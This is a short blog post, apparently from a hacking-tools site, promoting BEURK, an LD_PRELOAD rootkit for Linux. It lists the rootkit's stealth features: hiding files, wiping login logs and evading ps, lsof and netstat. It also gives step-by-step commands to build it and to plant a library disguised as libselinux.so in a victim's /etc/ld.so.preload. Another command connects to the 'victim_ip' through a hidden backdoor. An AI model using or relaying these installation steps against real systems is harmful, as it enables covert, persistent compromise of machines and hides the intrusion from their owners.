Home / Anti-Debugging / Backdoor / Beurk / Linux / Rootkit / Beurk - Experimental Unix Rootkit

Beurk - Experimental Unix Rootkit

| Post sponsored by FaradaySEC | Multiuser Pentest Environment
BEURK is an userland preload rootkit for GNU/Linux, heavily focused around anti-debugging and anti-detection.
NOTE: BEURK is a recursive acronym for B EURK E xperimental U nix R oot K it

Features
  • Hide attacker files and directories
  • Realtime log cleanup (on utmp/wtmp )
  • Anti process and login detection
  • Bypass unhide, lsof, ps, ldd, netstat analysis
  • Furtive PTY backdoor client

Upcoming features
  • ptrace(2) hooking for anti-debugging
  • libpcap hooking undermines local sniffers
  • PAM backdoor for local privilege escalation

Usage
  • Compile 
    git clone https://github.com/unix-thrust/beurk.git
    cd beurk
    make
  • Install 
    scp libselinux.so [email protected]:/lib/
    ssh [email protected] 'echo /lib/libselinux.so >> /etc/ld.so.preload'
  • Enjoy ! 
    ./client.py victim_ip:port # connect with furtive backdoor

Dependencies
The following packages are not required in order to build BEURK at the moment:
  • libpcap - to avoid local sniffing
  • libpam - for local PAM backdoor
  • libssl - for encrypted backdoor connection
Example on debian: 
    apt-get install libpcap-dev libpam-dev libssl-dev


Beurk - Experimental Unix Rootkit Beurk - Experimental Unix Rootkit Reviewed by Zion3R on 5:23 PM Rating: 5